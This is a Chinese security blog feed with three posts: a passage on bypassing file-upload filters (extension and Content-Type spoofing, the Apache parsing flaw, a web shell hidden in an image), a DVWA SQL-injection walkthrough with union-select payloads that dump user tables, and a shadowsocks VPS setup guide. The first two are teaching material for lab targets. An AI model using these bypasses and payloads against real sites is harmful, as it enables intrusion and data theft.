<p>在BurpSuite中会抓到截取的数据包,在数据包中将所上传的文件后缀名由【.jpg】改为【.php】</p> </li> </ol> <p><img src="https://pic1.zhimg.com/80/v2-b816c41f5bbf6b72037452111bf22c6c_720w.png" alt="img"></p> <p>​ 点击【forward】,传递数据包,前台即可提示,上传【lubr.php】成功</p> <p>​ 略</p> <h2 id="3--绕过content-type检测文件类型上传">3. 绕过Content-Type检测文件类型上传</h2> <p>Content-Type如果为【application/octet-stream】,这一般是可运行程序(木马)的类型,因此会拒绝上传。但如果我们将其改为【image/gif】图片类型,可能就能够绕过该检测。</p> <ol> <li> <p>BurpSuite拦截改Content-Type参数</p> <p>在BurpSuite中会抓到截取的数据包,在数据包中将所上传的文件的Content-Type由【application/octet-stream】改为【image/gif】</p> </li> </ol> <p>​ <img src="https://pic4.zhimg.com/80/v2-a92474b3bab37ace1d80ba8bb66725f7_720w.png" alt="img"></p> <p>​ 点击【forward】,传递数据包,前台即可提示,上传【lubr.php】成功</p> <p>​ 略</p> <h2 id="4-apache解析漏洞上传shell绕过服务器端扩展名检测">4. apache解析漏洞上传shell绕过服务器端扩展名检测</h2> <p>Apache 识别文件类型是从右向左识别的,如果如遇不认识的扩展名会向前一次识别,直到遇到能识别的扩展名**,**因为Apache认为一个文件可以拥有多个扩展名,哪怕没有文件名,也可以拥有多个扩展名。这种漏洞存在于使用module模式与php结合的所有版本的Apache。</p> <p>假如某网站刚好使用了有解析漏洞版本的Apache,而且其对服务器端对【.php】文件直接上传做了过滤。</p> <ol> <li> <p>一句话木马</p> <p>因为服务器端对【.php】上传做了过滤,因此无论怎么用BurpSuite修改都不能上传成功。</p> <p>如果将该木马命名为 【lubr.php.adc】,则显示上传成功。</p> <p>因为服务器端黑名单只限制了几种扩展名的上传,而其他扩展名都是合法的,不论这种扩展名是否有效,而apache却能识别无效的扩展名并不予解析,这种不对称的扩展名识别造成了上传漏洞的产生。</p> </li> <li> <p>菜刀连接</p> </li> </ol> <p><img src="https://pic1.zhimg.com/80/v2-38cc75e063bd49751e267408dac2d338_720w.png" alt="img"></p> <p>​ 菜刀也不识别【.abc】,直接解析【.php】,连接成功。</p> <h2 id="5-构造图片马绕过文件内容检测">5. 构造图片马绕过文件内容检测</h2> <p>文件内容检测脚本中getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错,是一种比较严的防御措施。但并不代表其牢不可破。</p> <p>虽然php内容不合法,但我们可以将其伪装成一个图片,以欺骗检测脚本来进行非法上传。</p> <ol> <li> <p>构造图片马</p> <p>随便找一个图片,将其与要上传的木马置于同一文件夹下</p> <p><img src="https://pic2.zhimg.com/80/v2-a69e2e5d62aec6c57280a760497d80f1_720w.png" alt="img"></p> <p>打开cmd,进入该文件夹,输入</p> <pre><code>copy doram.jpg/b+lubr.php/a xiaoma.jpg </code></pre><p>将【lubr.php】插入到【doram.jpg】中。其中【xiaoma.jpg】是插入后的文件。</p> <p>用记事本打开【xiaoma.jpg】,发现木马插入到了文件最后。</p> <p><img src="https://pic4.zhimg.com/80/v2-551a4bca6c9b4744dccf6cc662ff533f_720w.png" alt="img"></p> </li> <li> <p>上传木马</p> <p>将文件名改为【xiaoma.jpg.php】,然后上传成功,菜刀连接。</p> <p>以上就是几种检测情况的绕过方法,真实情况下需各种方式配合使用。</p> </li> </ol> DVWA的SQL注入测试 https://p0st3r.github.io/post/dvwa-sql-injection-test/ Thu, 09 Feb 2017 00:00:00 +0000 https://p0st3r.github.io/post/dvwa-sql-injection-test/ <p>SQL注入:在用户的输入没有被转义字符过滤时。就会发生这种形式的注入式攻击,它会传递给数据库一个SQL语句。这样就会导致应用程序的终端用户对数据库上的语句实施操纵。就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。</p> <p>具体来说,它是利用现有的应用出现,将(恶意)的SQL目录注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。</p> <h1 id="步骤">步骤</h1> <h2 id="低安全等级文件包含">低安全等级文件包含</h2> <h3 id="登陆dvwa">登陆DVWA</h3> <p>使用浏览器打开``,输入用户名密码登陆。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_45413" alt="img"></p> <h3 id="调整安全级别">调整安全级别</h3> <p>登陆后将DVWA的安全级别调整为low(见红框内)。调整之后选择SQL Injection,进入页面。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_48342" alt="img"></p> <h3 id="简单的id查询">简单的ID查询</h3> <p>提示输入User ID,输入正确的ID,将显示ID First name,Surname信息。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_64727" alt="img"></p> <h3 id="检测是否存在注入">检测是否存在注入</h3> <p>可以得知此处位注入点,尝试输入<code>'</code>,返回错误。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_58203" alt="img"></p> <h3 id="遍历数据库表">遍历数据库表</h3> <p>尝试遍历数据库表,提示输入的值是ID,可以初步判断此处为数字类型的注入。尝试输入<code>1 or 1=1</code>,尝试遍历数据库表。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_24591" alt="img"></p> <p>可见并没有达成目的,猜测程序将此处看成了字符型,尝试输入<code>1' or' 1' =' 1</code>后遍历出了数据库中所有内容。下面尝试不同语句,得到不同的结果。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_87635" alt="img"></p> <h3 id="查询信息列表长度">查询信息列表长度</h3> <p>利用<code>order by [num]</code>语句来测试查询信息列表长度,修改num的值,这里我们输入<code>1' order by 1 --</code>结果页面正常显示,<strong>注意–后面有空格</strong>。继续测试,<code>1' order by 2 --</code>,<code>1' order by 3 --</code>,当输入3时,页面报错。页面错误信息如下:<code>Unknown column '3' in 'order clause'</code>,由此我们判断查询结果值为2列。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_15397" alt="img"></p> <h3 id="获取数据库名称账户名版本及操作系统信息">获取数据库名称、账户名、版本及操作系统信息</h3> <p>通过使用<code>user()</code>,<code>database()</code>,<code>version()</code>三个内置函数得到连接数据库的账户名、数据库名称、数据库版本信息。</p> <ul> <li>首先参数注入<code>1' and 1=2 union select 1,2 --</code>(<strong>注意–后有空格</strong>)。</li> </ul> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_23692" alt="img"></p> <p>由上图得知,First name处显示结果位查询结果的第一列的值,surname处显示结果位查询结果第二列的值。</p> <ul> <li>通过注入<code>1' and 1=2 union select user(),database() --</code>得到数据库用户为<strong>root@localhost</strong>及数据库名<strong>dvwa</strong></li> </ul> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_62655" alt="img"></p> <ul> <li>通过注入<code>1' and 1=2 union select version(),database() --</code>得到数据库版本信息,此处数据库版本为<strong>5.0.90-community-nt</strong>。</li> </ul> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_83473" alt="img"></p> <ul> <li>通过注入<code>1' and 1=2 union select 1,@@global.version_compile_os from mysql.user --</code>获得操作系统信息。</li> </ul> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_94423" alt="img"></p> <h3 id="查询mysql数据库所有数据库及表">查询mysql数据库所有数据库及表</h3> <p>通过注入<code>1' and 1=2 union select 1,schema_name from information_schema.schemata --</code>查询mysql数据库的所有数据库名。</p> <p>这里利用mysql默认的数据库<strong>information_schema</strong>,该数据库存储了Mysql所以数据库和表的信息。如图所示</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_21763" alt="img"></p> <h3 id="猜解表名">猜解表名</h3> <p>通过注入<code>1' and exists(select * from users) --</code>猜解dvwa数据库中的表名。</p> <p>利用<code>1' and exists(select * from [表名])</code>,这里测试的结果,表名为users,在真实的渗透环境中,攻击者往往关心存储管理员用户和密码信息的表。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_36450" alt="img"></p> <h3 id="猜解字段名">猜解字段名</h3> <p>猜解字段名:<code>1' and exists(select [表名] from users) --</code>。这里测试的字段名有<code>first_name</code>,<code>last_name</code>。</p> <p>通过注入<code>1' and exists(select first_name from users) --</code>和<code>1' and exists(select last_name from users) --</code>猜解字段名。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_21940" alt="img"></p> <h3 id="爆出数据库中字段内容">爆出数据库中字段内容</h3> <p>注入<code>1' and 1=2 union select first_name,last_name from users --</code>,这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_94412" alt="img"></p> <h2 id="代码分析">代码分析</h2> <h3 id="low等级源代码">low等级源代码</h3> <p>如图所示</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_37330" alt="img"></p> <p>通过代码可以看出,对输入<strong>$id</strong>的值没有进行任何过滤就直接放入了SQL语句中进行处理,这样带来了极大的隐患。</p> <h3 id="中等等级代码分析">中等等级代码分析</h3> <p>将DVWA安全级别调整位medium,查看源代码。<img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_95600" alt="img"></p> <p>通过源代码可以看出,在中等级别时对输入的<strong>$id</strong>值使用<code>mysql_real_eascape_string()</code>函数进行了处理。在PHP中,使用<code>mysql_real_eascape_string()</code>函数用来转移SQL语句中使用字符串的特殊字符。但是使用这个函数对参数进行转换是存在绕过的。只需要将攻击字转换一下编码格式即可绕过该防护函数。比如URL编码等方式。</p> <p>同时发现SQL语句中变成了<code>“WHRER user_id = “$id”</code> ,此处变成了数字型注入,所以此处使用<code>mysql_real_eascape_string()</code>函数并没有起到防护作用。可以通过类似于<code>1 or 1=1</code>的语句来进行注入。</p> <h3 id="高等级代码分析">高等级代码分析</h3> <p>将DVWA安全级别调整为high,查看源代码。<img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_75240" alt="img"></p> <p>从源代码可以看出,此处为字符型注入。对传入<strong>$id</strong>的值使用<code>stripslashes()</code>函数处理以后,再经过到<code>$mysql_real_escape_string()</code>函数进行第二次过滤。在默认情况下,PHP会对所有的GET,POST和cookie数据自动运行<code>addslashes()</code>,<code>addslashes()</code>函数返回在部分与定义之前添加<code>\</code>。</p> <p><code>Striptslashes()</code>函数则是删除由<code>addslashes()</code>函数添加的反斜杠。在使用两个函数进行过滤之后再使用<code>is_numric()</code>函数检查<strong>$id</strong>值是否位数字,彻底断绝了注入的存在。此种防护不存在绕过的可能。</p> 基于KVM架构的VPS服务器搭建ss及锐速优化教程 https://p0st3r.github.io/post/kvm-vps-ss-rs/ Tue, 25 Oct 2016 00:00:00 +0000 https://p0st3r.github.io/post/kvm-vps-ss-rs/ <h1 id="准备">准备</h1> <ul> <li>KVM架构虚拟服务器</li> <li>xshell</li> </ul> <h1 id="服务器">服务器</h1> <ul> <li>任意一家运营商的KVM架构VPS服务器</li> <li>Ubuntu 14.04 64bit系统</li> <li>运行<code>apt-get install vim</code> 安装vim</li> </ul> <h1 id="搭建shadowsocks环境">搭建shadowsocks环境</h1> <p>使用<code>xshell</code>连接服务器主机</p> <h2 id="安装shadowsocks服务端">安装shadowsocks服务端</h2> <pre><code>apt-get install python-pip pip install shadowsocks </code></pre><h2 id="配置shadowsocks">配置shadowsocks</h2> <ul> <li> <p>用vim新建<code>shadowsocks.json</code>文件</p> <pre><code>vim /etc/shadowsocks.json </code></pre></li> <li> <p>复制以下内容进去</p> <pre><code>{ &quot;server&quot;:&quot;0.0.0.0&quot;, &quot;local_address&quot;:&quot;127.0.0.1&quot;, &quot;local_port&quot;:1080, &quot;port_password&quot;:{ &quot;10000&quot;:&quot;Password1&quot;, &quot;10001&quot;:&quot;Password2&quot;, &quot;10002&quot;:&quot;Password3&quot;, &quot;10003&quot;:&quot;Password4&quot; }, &quot;timeout&quot;: 300, &quot;method&quot;:&quot;rc4-md5&quot;, &quot;fast_open&quot;: true } </code></pre></li> </ul> <p>“10000”是指端口,“Password1”是指此端口的密码,均可以随意设置</p> <p><strong>常用 vim 操作自己百度,如果 vim 命令不可用是因为没安装 vim,可以用 vi 替代</strong></p> <p>保存刚才的文档,然后启动 shadowsocks 服务(每次重启服务器后都必须再 次执行下面的命令) :</p> <pre><code>ssserver -c /etc/shadowsocks.json -d start </code></pre><h1 id="锐速优化可选">锐速优化(可选)</h1> <p>锐速现在最低套餐是 300 元一年,新手不建议使用,如需使用百度锐速官网</p> <h2 id="更换内核">更换内核</h2> <h3 id="查询当前内核">查询当前内核</h3> <ul> <li> <p>输入以下命令查询当前内核</p> <pre><code>uname -r </code></pre></li> </ul> <h3 id="安装指定内核">安装指定内核</h3> <ul> <li> <p>目前锐速最高支持linux-image-3.13.0-46-generic内核,运行以下命令安装此内核</p> <pre><code>apt-get install linux-image-3.13.0-46-generic </code></pre></li> </ul> <h3 id="卸载其他内核">卸载其他内核</h3> <ul> <li> <p>运行命令查询本系统的其他内核</p> <pre><code>sudo dpkg --get-selections | grep linux-image </code></pre></li> <li> <p><strong>实例</strong>,查询出有其他5个内核</p> <pre><code>linux-image-3.16.0-30-generic linux-image-3.16.0-60-generic linux-image-extra-3.16.0-30-generic linux-image-extra-3.16.0-60-generic linux-image-generic-lts-utopic </code></pre></li> <li> <p>运行命令卸载其他内核</p> <pre><code>sudo apt-get remove linux-image-3.16.0-30-generic linux-image-3.16.0-60-generic linux-image-extra-3.16.0-30-generic linux-image-extra-3.16.0-60-generic linux-image-generic-lts-utopic </code></pre></li> <li> <p>删除后执行grub更新和重启</p> <pre><code>sudo update-grub sudo reboot now </code></pre></li> </ul> <h2 id="固定内核版本">固定内核版本</h2> <ul> <li> <p>防止内核意外升级</p> <pre><code>sudo apt-mark hold linux-image </code></pre></li> </ul> <h2 id="优化内核">优化内核</h2> <ul> <li> <p>使用vim打开<code>limits.conf</code></p> <pre><code>vim /etc/security/limits.conf </code></pre><p>然后添加下面语句</p> <pre><code>* soft nofile 51200 * hard nofile 51200 </code></pre></li> <li> <p>修改<code>/etc/pam.d/common-session</code>,加入以下内容</p> <pre><code>session required pam_limits.so </code></pre></li> <li> <p>修改<code>/etc/profile</code>,最下面加入以下内容</p> <pre><code>ulimit -SHn 51200 </code></pre></li> <li> <p>修改<code>/etc/sysctl.conf</code>,加入以下内容</p> <pre><code>fs.file-max = 51200 net.core.rmem_max = 67108864 net.core.wmem_max = 67108864 net.core.netdev_max_backlog = 250000 net.core.somaxconn = 4096 net.ipv4.tcp_syncookies = 1 net.ipv4.tcp_tw_reuse = 1 net.ipv4.tcp_tw_recycle = 0 net.ipv4.tcp_fin_timeout = 30 net.ipv4.tcp_keepalive_time = 1200 net.ipv4.ip_local_port_range = 10000 65000 net.ipv4.tcp_max_syn_backlog = 8192 net.ipv4.tcp_max_tw_buckets = 5000 net.ipv4.tcp_rmem = 4096 87380 67108864 net.ipv4.tcp_wmem = 4096 65536 67108864 net.ipv4.tcp_mtu_probing = 1 net.ipv4.tcp_congestion_control = hybla </code></pre></li> </ul> <p><strong>保存修改后执行 sysctl -p 使配置生效。 再额外使用一次 sudo reboot now 重启以生效。</strong></p> <h2 id="安装锐速">安装锐速</h2> <h3 id="安装">安装</h3> <ul> <li> <p>输入以下命令安装锐速:</p> <pre><code>wget http ://my.serverspeeder.com/d/ls/serverSpeederInstaller.tar.gz tar -xzvf serverSpeederInstaller.tar.gz sudo bash serverSpeederInstaller.sh </code></pre></li> <li> <p>安装过程中依次输入以下命令:</p> <pre><code>你的锐速邮箱 你的锐速密码 eth0 1000000 1000000 0 y y </code></pre></li> </ul> <h3 id="优化锐速">优化锐速</h3> <ul> <li> <p>打开<code>/serverspeeder/etc/config</code>,编辑如下内容:</p> <pre><code>rsc=&quot;1&quot; gso=&quot;1&quot; maxmode=&quot;1&quot; advinacc=&quot;1&quot; </code></pre></li> </ul> <h3 id="重启">重启</h3> <ul> <li> <p>重启锐速完成优化</p> <pre><code>service serverSpeeder restart </code></pre></li> </ul> <h1 id="开机启动">开机启动</h1> <h2 id="添加路径">添加路径</h2> <ul> <li> <p>在<code>/etc/init.d</code>目录下新建<code>ss_start</code>文件并加入如下内容:</p> <pre><code>nohup /usr/local/bin/ss-server -c /etc/shadowsocks.json &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre></li> <li> <p>在<code>/etc/init.d</code>目录下新建<code>rs_start</code>文件并加入如下内容:</p> <pre><code>/serverspeeder/bin/serverSpeeder.sh start </code></pre></li> </ul> <h2 id="加权限">加权限</h2> <pre><code>chmod +x /etc/init.d/ss_start chmod +x /etc/init.d/rs_start </code></pre><h2 id="加自启">加自启</h2> <pre><code>sudo update-rc.d ss_start defaults 91 sudo update-rc.d rs_start defaults 91 </code></pre><h1 id="安全措施">安全措施</h1> <ul> <li> <p>关闭 ping 功能:</p> <p>根据我的经验,如果不关闭 ping,会经常有黑客试探攻击服务器,所以最好 关闭 ping 服务,只需要每次启动或者重启服务器后执行一行代码:</p> <pre><code>echo &quot;1&quot; &gt;/proc/sys/net/ipv4/icmp_echo_ignore_all </code></pre><p>至此,搭建+优化SS全过程已完毕。</p> </li> </ul>